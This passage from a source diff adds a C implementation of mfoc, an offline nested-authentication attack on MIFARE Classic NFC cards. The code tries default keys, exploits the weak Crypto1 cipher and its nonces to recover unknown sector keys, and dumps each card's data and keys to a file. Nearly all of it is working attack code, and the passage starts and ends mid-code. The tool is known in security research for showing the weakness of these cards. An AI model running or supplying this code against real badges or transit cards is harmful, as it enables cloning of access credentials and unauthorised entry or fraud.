getline(&line, &len, fp)) != -1) { + int i, j = 0, str_len = strlen(line); + + while (j < str_len && + (i = slre_match(regex, line + j, str_len - j, caps, 500, 1)) > 0) { + //We've found a key, let's add it to the structure. + p = realloc(defKeys, defKeys_len + 6); + if (!p) { + ERR("Cannot allocate memory for defKeys"); + exit(EXIT_FAILURE); + } + defKeys = p; + memset(defKeys + defKeys_len, 0, 6); + num_to_bytes(strtoll(caps[0].ptr, NULL, 16), 6, defKeys + defKeys_len); + fprintf(stdout, "The custom key 0x%.*s has been added to the default keys\n", caps[0].len, caps[0].ptr); + defKeys_len = defKeys_len + 6; + + j += i; + } + } + if (line) + free(line); + break; + case 'k': + // Add this key to the default keys + p = realloc(defKeys, defKeys_len + 6); + if (!p) { + ERR("Cannot allocate memory for defKeys"); + exit(EXIT_FAILURE); + } + defKeys = p; + memset(defKeys + defKeys_len, 0, 6); + num_to_bytes(strtoll(optarg, NULL, 16), 6, defKeys + defKeys_len); + fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKeys + defKeys_len, 6)); + defKeys_len = defKeys_len + 6; + + break; + case 'O': + // File output + if (!(pfDump = fopen(optarg, "wb"))) { + fprintf(stderr, "Cannot open: %s, exiting\n", optarg); + exit(EXIT_FAILURE); + } + // fprintf(stdout, "Output file: %s\n", optarg); + break; + case 'h': + usage(stdout, 0); + break; + default: + usage(stderr, 1); + break; + } + } + + if (!pfDump) { + ERR("parameter -O is mandatory"); + exit(EXIT_FAILURE); + } + + // Initialize reader/tag structures + mf_init(&r); + + if (nfc_initiator_init(r.pdi) < 0) { + nfc_perror(r.pdi, "nfc_initiator_init"); + goto error; + } + // Drop the field for a while, so can be reset + if (nfc_device_set_property_bool(r.pdi, NP_ACTIVATE_FIELD, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool activate field"); + goto error; + } + // Let the reader only try once to find a tag + if (nfc_device_set_property_bool(r.pdi, NP_INFINITE_SELECT, false) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool infinite select"); + goto error; + } + // Configure the CRC and Parity settings + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); + goto error; + } + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); + goto error; + } + + /* + // wait for tag to appear + for (i=0;!nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) && i < 10; i++) zsleep (100); + */ + + int tag_count; + if ((tag_count = nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt)) < 0) { + nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); + goto error; + } else if (tag_count == 0) { + ERR("No tag found."); + goto error; + } + + // Test if a compatible MIFARE tag is used + if ((t.nt.nti.nai.btSak & 0x08) == 0) { + ERR("only Mifare Classic is supported"); + goto error; + } + + t.authuid = (uint32_t) bytes_to_num(t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, 4); + + // Get Mifare Classic type from SAK + // see http://www.nxp.com/documents/application_note/AN10833.pdf Section 3.2 + switch (t.nt.nti.nai.btSak) + { + case 0x08: + case 0x88: + printf("Found Mifare Classic 1k tag\n"); + t.num_sectors = NR_TRAILERS_1k; + t.num_blocks = NR_BLOCKS_1k; + break; + case 0x09: + printf("Found Mifare Classic Mini tag\n"); + t.num_sectors = NR_TRAILERS_MINI; + t.num_blocks = NR_BLOCKS_MINI; + break; + case 0x18: + printf("Found Mifare Classic 4k tag\n"); + t.num_sectors = NR_TRAILERS_4k; + t.num_blocks = NR_BLOCKS_4k; + break; + default: + ERR("Cannot determine card type from SAK"); + goto error; + } + + t.sectors = (void *) calloc(t.num_sectors, sizeof(sector)); + if (t.sectors == NULL) { + ERR("Cannot allocate memory for t.sectors"); + goto error; + } + if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) { + ERR("Cannot allocate memory for pk"); + goto error; + } + if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) { + ERR("Cannot allocate memory for bk"); + goto error; + } else { + bk->brokenKeys = NULL; + bk->size = 0; + } + + d.distances = (void *) calloc(d.num_distances, sizeof(uint32_t)); + if (d.distances == NULL) { + ERR("Cannot allocate memory for t.distances"); + goto error; + } + + // Initialize t.sectors, keys are not known yet + for (uint8_t s = 0; s < (t.num_sectors); ++s) { + t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = false; + } + + print_nfc_target(&t.nt, true); + + fprintf(stdout, "\nTry to authenticate to all sectors with default keys...\n"); + fprintf(stdout, "Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both keys found\n"); + // Set the authentication information (uid) + memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); + // Iterate over all keys (n = number of keys) + n = sizeof(defaultKeys) / sizeof(defaultKeys[0]); + size_t defKey_bytes_todo = defKeys_len; + key = 0; + while (key < n || defKey_bytes_todo) { + if (defKey_bytes_todo > 0) { + memcpy(mp.mpa.abtKey, defKeys + defKeys_len - defKey_bytes_todo, sizeof(mp.mpa.abtKey)); + defKey_bytes_todo -= sizeof(mp.mpa.abtKey); + } else { + memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey)); + key++; + } + fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6)); + fprintf(stdout, "["); + i = 0; // Sector counter + // Iterate over every block, where we haven't found a key yet + for (block = 0; block <= t.num_blocks; ++block) { + if (trailer_block(block)) { + if (!t.sectors[i].foundKeyA) { + mc = MC_AUTH_A; + int res; + if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) { + if (res != NFC_EMFCAUTHFAIL) { + nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); + goto error; + } + mf_anticollision(t, r); + } else { + // Save all information about successfull keyA authentization + memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[i].foundKeyA = true; + // Although KeyA can never be directly read from the data sector, KeyB can, so + // if we need KeyB for this sector, it should be revealed by a data read with KeyA + // todo - check for duplicates in cracked key list (do we care? will not be huge overhead) + // todo - make code more modular! :) + if (!t.sectors[i].foundKeyB) { + if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mtmp)) >= 0) { + // print only for debugging as it messes up output! + //fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); + memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); + memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); + if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mtmp)) < 0) { + //fprintf(stdout, "Failed!\n"); + mf_configure(r.pdi); + mf_anticollision(t, r); + } else { + //fprintf(stdout, "OK\n"); + memcpy(t.sectors[i].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[i].KeyB)); + t.sectors[i].foundKeyB = true; + bk->size++; + bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); + bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); + } + } else { + if (res != NFC_ERFTRANS) { + nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); + goto error; + } + mf_anticollision(t, r); + } + } + } + } + // if key reveal failed, try other keys + if (!t.sectors[i].foundKeyB) { + mc = MC_AUTH_B; + int res; + if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, block, &mp)) < 0) { + if (res != NFC_EMFCAUTHFAIL) { + nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); + goto error; + } + mf_anticollision(t, r); + // No success, try next block + t.sectors[i].trailer = block; + } else { + memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[i].foundKeyB = true; + } + } + if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB)) { + fprintf(stdout, "x"); + } else if (t.sectors[i].foundKeyA) { + fprintf(stdout, "/"); + } else if (t.sectors[i].foundKeyB) { + fprintf(stdout, "\\"); + } else { + fprintf(stdout, "."); + } + fflush(stdout); + // Save position of a trailer block to sector struct + t.sectors[i++].trailer = block; + } + } + fprintf(stdout, "]\n"); + } + + fprintf(stdout, "\n"); + for (i = 0; i < (t.num_sectors); ++i) { + if(t.sectors[i].foundKeyA){ + fprintf(stdout, "Sector %02d - Found Key A: %012llx ", i, bytes_to_num(t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA))); + memcpy(&knownKey, t.sectors[i].KeyA, 6); + knownKeyLetter = 'A'; + knownSector = i; + } + else{ + fprintf(stdout, "Sector %02d - Unknown Key A ", i); + unknownSector = i; + unknownKeyLetter = 'A'; + } + if(t.sectors[i].foundKeyB){ + fprintf(stdout, "Found Key B: %012llx\n", bytes_to_num(t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB))); + knownKeyLetter = 'B'; + memcpy(&knownKey, t.sectors[i].KeyB, 6); + knownSector = i; + } + else{ + fprintf(stdout, "Unknown Key B\n"); + unknownSector = i; + unknownKeyLetter = 'B'; + } + } + fflush(stdout); + + // Return the first (exploit) sector encrypted with the default key or -1 (we have all keys) + e_sector = find_exploit_sector(t); + //mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode + + // Recover key from encrypted sectors, j is a sector counter + for (m = 0; m < 2; ++m) { + if (e_sector == -1) break; // All keys are default, I am skipping recovery mode + for (j = 0; j < (t.num_sectors); ++j) { + memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); + if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { + + // First, try already broken keys + skip = false; + for (uint32_t o = 0; o < bk->size; o++) { + num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey); + mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; + int res; + if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) { + if (res != NFC_EMFCAUTHFAIL) { + nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); + goto error; + } + mf_anticollision(t, r); + } else { + // Save all information about successfull authentization + printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B')); + if (dumpKeysA) { + memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[j].foundKeyA = true; + // if we need KeyB for this sector it should be revealed by a data read with KeyA + if (!t.sectors[j].foundKeyB) { + if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) { + fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); + memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); + memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); + if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) { + fprintf(stdout, "Failed!\n"); + mf_configure(r.pdi); + mf_anticollision(t, r); + } else { + fprintf(stdout, "OK\n"); + memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB)); + t.sectors[j].foundKeyB = true; + bk->size++; + bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); + bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); + } + } else { + if (res != NFC_ERFTRANS) { + nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); + goto error; + } + mf_anticollision(t, r); + } + } + } else { + memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[j].foundKeyB = true; + } + fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), + bytes_to_num(mp.mpa.abtKey, 6)); + mf_configure(r.pdi); + mf_anticollision(t, r); + skip = true; + break; + } + } + if (skip) continue; // We have already revealed key, go to the next iteration + + // Max probes for auth for each sector + for (k = 0; k < probes; ++k) { + // Try to authenticate to exploit sector and determine distances (filling denonce.distances) + int authRezult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode + if(authRezult == -99999){ + //for now we return the last sector that is unknown + nfc_close(r.pdi); + nfc_exit(context); + FILE *fpKey; + fpKey = fopen("/tmp/unknownMfocSectorInfo_123456asdfqwer.txt", "w"); + fprintf(fpKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter); + fclose(fpKey); + + return 9; + } + + printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median); + // Configure device to the previous state + mf_configure(r.pdi); + mf_anticollision(t, r); + + pk->possibleKeys = NULL; + pk->size = 0; + // We have 'sets' * 32b keystream of potential keys + for (n = 0; n < sets; n++) { + // AUTH + Recovery key mode (for a_sector), repeat 5 times + mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA); + mf_configure(r.pdi); + mf_anticollision(t, r); + fprintf(stdout, "."); + fflush(stdout); + } + fprintf(stdout, "\n"); + // Get first 15 grouped keys + ck = uniqsort(pk->possibleKeys, pk->size); + for (i = 0; i < TRY_KEYS ; i++) { + // We don't known this key, try to break it + // This key can be found here two or more times + if (ck[i].count > 0) { + // fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key); + // Set required authetication method + num_to_bytes(ck[i].key, 6, mp.mpa.abtKey); + mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; + int res; + if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) { + if (res != NFC_EMFCAUTHFAIL) { + nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); + goto error; + } + mf_anticollision(t, r); + } else { + // Save all information about successfull authentization + bk->size++; + bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); + bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + if (dumpKeysA) { + memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[j].foundKeyA = true; + + } else { + memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey)); + t.sectors[j].foundKeyB = true; + } + fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'), + bytes_to_num(mp.mpa.abtKey, 6)); + // if we need KeyB for this sector, it should be revealed by a data read with KeyA + if (!t.sectors[j].foundKeyB) { + if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) { + fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey))); + memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)); + memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid)); + if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) { + fprintf(stdout, "Failed!\n"); + mf_configure(r.pdi); + mf_anticollision(t, r); + } else { + fprintf(stdout, "OK\n"); + memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB)); + t.sectors[j].foundKeyB = true; + bk->size++; + bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t)); + bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey)); + } + } else { + if (res != NFC_ERFTRANS) { + nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); + goto error; + } + mf_anticollision(t, r); + } + } + mf_configure(r.pdi); + mf_anticollision(t, r); + break; + } + } + } + free(pk->possibleKeys); + free(ck); + // Success, try the next sector + if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break; + } + // We haven't found any key, exiting + if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { + ERR("No success, maybe you should increase the probes"); + goto error; + } + } + } + dumpKeysA = false; + } + + + for (i = 0; i < (t.num_sectors); ++i) { + if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) { + fprintf(stdout, "\nTry again, there are still some encrypted blocks\n"); + succeed = 0; + break; + } + } + + if (succeed) { + i = t.num_sectors; // Sector counter + fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n"); + // Read all blocks + for (block = t.num_blocks; block >= 0; block--) { + trailer_block(block) ? i-- : i; + failure = true; + + // Try A key, auth() + read() + memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA)); + int res; + if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) < 0) { + if (res != NFC_EMFCAUTHFAIL) { + nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); + goto error; + } + mf_configure(r.pdi); + mf_anticollision(t, r); + } else { // and Read + if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) { + fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6)); + print_hex(mp.mpd.abtData, 16); + mf_configure(r.pdi); + mf_select_tag(r.pdi, &(t.nt)); + failure = false; + } else { + // Error, now try read() with B key + if (res != NFC_ERFTRANS) { + nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); + goto error; + } + mf_configure(r.pdi); + mf_anticollision(t, r); + memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB)); + if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) < 0) { + if (res != NFC_EMFCAUTHFAIL) { + nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); + goto error; + } + mf_configure(r.pdi); + mf_anticollision(t, r); + } else { // and Read + if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) >= 0) { + fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6)); + print_hex(mp.mpd.abtData, 16); + mf_configure(r.pdi); + mf_select_tag(r.pdi, &(t.nt)); + failure = false; + } else { + if (res != NFC_ERFTRANS) { + nfc_perror(r.pdi, "nfc_initiator_mifare_cmd"); + goto error; + } + mf_configure(r.pdi); + mf_anticollision(t, r); + // ERR ("Error: Read B"); + } + } + } + } + if (trailer_block(block)) { + // Copy the keys over from our key dump and store the retrieved access bits + memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA, 6); + memcpy(mtDump.amb[block].mbt.abtKeyB, t.sectors[i].KeyB, 6); + if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits, mp.mpd.abtData + 6, 4); + } else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData, 16); + memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); + } + + // Finally save all keys + data to file + uint16_t dump_size = (t.num_blocks + 1) * t.num_sectors; + if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) { + fprintf(stdout, "Error, cannot write dump\n"); + fclose(pfDump); + goto error; + } + fclose(pfDump); + } + + free(t.sectors); + free(d.distances); + + // Reset the "advanced" configuration to normal + nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true); + nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true); + + // Disconnect device and exit + nfc_close(r.pdi); + nfc_exit(context); + exit(EXIT_SUCCESS); +error: + nfc_close(r.pdi); + nfc_exit(context); + exit(EXIT_FAILURE); +} + +void usage(FILE *stream, int errno) +{ + fprintf(stream, "Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]\n"); + fprintf(stream, "\n"); + fprintf(stream, " h print this help and exit\n"); +// fprintf(stream, " B instead of 'A' dump 'B' keys\n"); + fprintf(stream, " k try the specified key in addition to the default keys\n"); + fprintf(stream, " f parses a file of keys to add in addition to the default keys \n"); +// fprintf(stream, " D number of distance probes, default is 20\n"); +// fprintf(stream, " S number of sets with keystreams, default is 5\n"); + fprintf(stream, " P number of probes per sector, instead of default of 20\n"); + fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); +// fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n"); + fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n"); + fprintf(stream, "\n"); + fprintf(stream, "Example: mfoc -O mycard.mfd\n"); + fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); + fprintf(stream, "Example: mfoc -f keys.txt -O mycard.mfd\n"); + fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n"); + fprintf(stream, "\n"); + fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION); + fprintf(stream, "For more information, run: 'man mfoc'.\n"); + exit(errno); +} + +void mf_init(mfreader *r) +{ + // Connect to the first NFC device + nfc_init(&context); + if (context == NULL) { + ERR("Unable to init libnfc (malloc)"); + exit(EXIT_FAILURE); + } + r->pdi = nfc_open(context, NULL); + if (!r->pdi) { + printf("No NFC device found.\n"); + exit(EXIT_FAILURE); + } +} + +void mf_configure(nfc_device *pdi) +{ + if (nfc_initiator_init(pdi) < 0) { + nfc_perror(pdi, "nfc_initiator_init"); + exit(EXIT_FAILURE); + } + // Drop the field for a while, so can be reset + if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, false) < 0) { + nfc_perror(pdi, "nfc_device_set_property_bool activate field"); + exit(EXIT_FAILURE); + } + // Let the reader only try once to find a tag + if (nfc_device_set_property_bool(pdi, NP_INFINITE_SELECT, false) < 0) { + nfc_perror(pdi, "nfc_device_set_property_bool infinite select"); + exit(EXIT_FAILURE); + } + // Configure the CRC and Parity settings + if (nfc_device_set_property_bool(pdi, NP_HANDLE_CRC, true) < 0) { + nfc_perror(pdi, "nfc_device_set_property_bool crc"); + exit(EXIT_FAILURE); + } + if (nfc_device_set_property_bool(pdi, NP_HANDLE_PARITY, true) < 0) { + nfc_perror(pdi, "nfc_device_set_property_bool parity"); + exit(EXIT_FAILURE); + } + // Enable the field so more power consuming cards can power themselves up + if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, true) < 0) { + nfc_perror(pdi, "nfc_device_set_property_bool activate field"); + exit(EXIT_FAILURE); + } +} + +void mf_select_tag(nfc_device *pdi, nfc_target *pnt) +{ + // Poll for a ISO14443A (MIFARE) tag + const nfc_modulation nm = { + .nmt = NMT_ISO14443A, + .nbr = NBR_106, + }; + if (nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt) < 0) { + ERR("Unable to connect to the MIFARE Classic tag"); + nfc_close(pdi); + nfc_exit(context); + exit(EXIT_FAILURE); + } +} + +int trailer_block(uint32_t block) +{ + // Test if we are in the small or big sectors + return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0); +} + +// Return position of sector if it is encrypted with the default key otherwise exit.. +int find_exploit_sector(mftag t) +{ + int i; + bool interesting = false; + + for (i = 0; i < t.num_sectors; i++) { + if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) { + interesting = true; + break; + } + } + if (!interesting) { + fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n"); + return -1; + } + for (i = 0; i < t.num_sectors; i++) { + if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) { + fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i); + return i; + } + } + ERR("\n\nNo sector encrypted with the default key has been found, exiting.."); + exit(EXIT_FAILURE); +} + +void mf_anticollision(mftag t, mfreader r) +{ + const nfc_modulation nm = { + .nmt = NMT_ISO14443A, + .nbr = NBR_106, + }; + if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) { + nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); + ERR("Tag has been removed"); + exit(EXIT_FAILURE); + } +} + +int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) +{ + struct Crypto1State *pcs; + struct Crypto1State *revstate; + struct Crypto1State *revstate_start; + + uint64_t lfsr; + + // Possible key counter, just continue with a previous "session" + uint32_t kcount = pk->size; + + uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce + uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; + uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; + uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + + uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + + uint8_t Rx[MAX_FRAME_LEN]; // Tag response + uint8_t RxPar[MAX_FRAME_LEN]; // Tag response + + uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1; + + int i; + uint32_t m; + + // Prepare AUTH command + Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B; + iso14443a_crc_append(Auth, 2); + // fprintf(stdout, "\nAuth command:\t"); + // print_hex(Auth, 4); + + // We need full control over the CRC + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); + exit(EXIT_FAILURE); + } + + // Request plain tag-nonce + // TODO: Set NP_EASY_FRAMING option only once if possible + if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool framing"); + exit(EXIT_FAILURE); + } + + if (nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, sizeof(Rx), 0) < 0) { + fprintf(stdout, "Error while requesting plain tag-nonce\n"); + exit(EXIT_FAILURE); + } + + if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool"); + exit(EXIT_FAILURE); + } + // print_hex(Rx, 4); + + // Save the tag nonce (Nt) + Nt = bytes_to_num(Rx, 4); + + // Init the cipher with key {0..47} bits + if (t.sectors[e_sector].foundKeyA) { + pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); + } else { + pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); + } + + // Load (plain) uid^nt into the cipher {48..79} bits + crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 0); + + // Generate (encrypted) nr+parity by loading it into the cipher + for (i = 0; i < 4; i++) { + // Load in, and encrypt the reader nonce (Nr) + ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; + ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); + } + // Skip 32 bits in the pseudo random generator + Nt = prng_successor(Nt, 32); + // Generate reader-answer from tag-nonce + for (i = 4; i < 8; i++) { + // Get the next random byte + Nt = prng_successor(Nt, 8); + // Encrypt the reader-answer (Nt' = suc2(Nt)) + ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); + ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); + } + + // Finally we want to send arbitrary parity bits + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); + exit(EXIT_FAILURE); + } + + // Transmit reader-answer + // fprintf(stdout, "\t{Ar}:\t"); + // print_hex_par(ArEnc, 64, ArEncPar); + int res; + if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { + ERR("Reader-answer transfer error, exiting.."); + exit(EXIT_FAILURE); + } + + // Now print the answer from the tag + // fprintf(stdout, "\t{At}:\t"); + // print_hex_par(Rx,RxLen,RxPar); + + // Decrypt the tag answer and verify that suc3(Nt) is At + Nt = prng_successor(Nt, 32); + if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { + ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); + 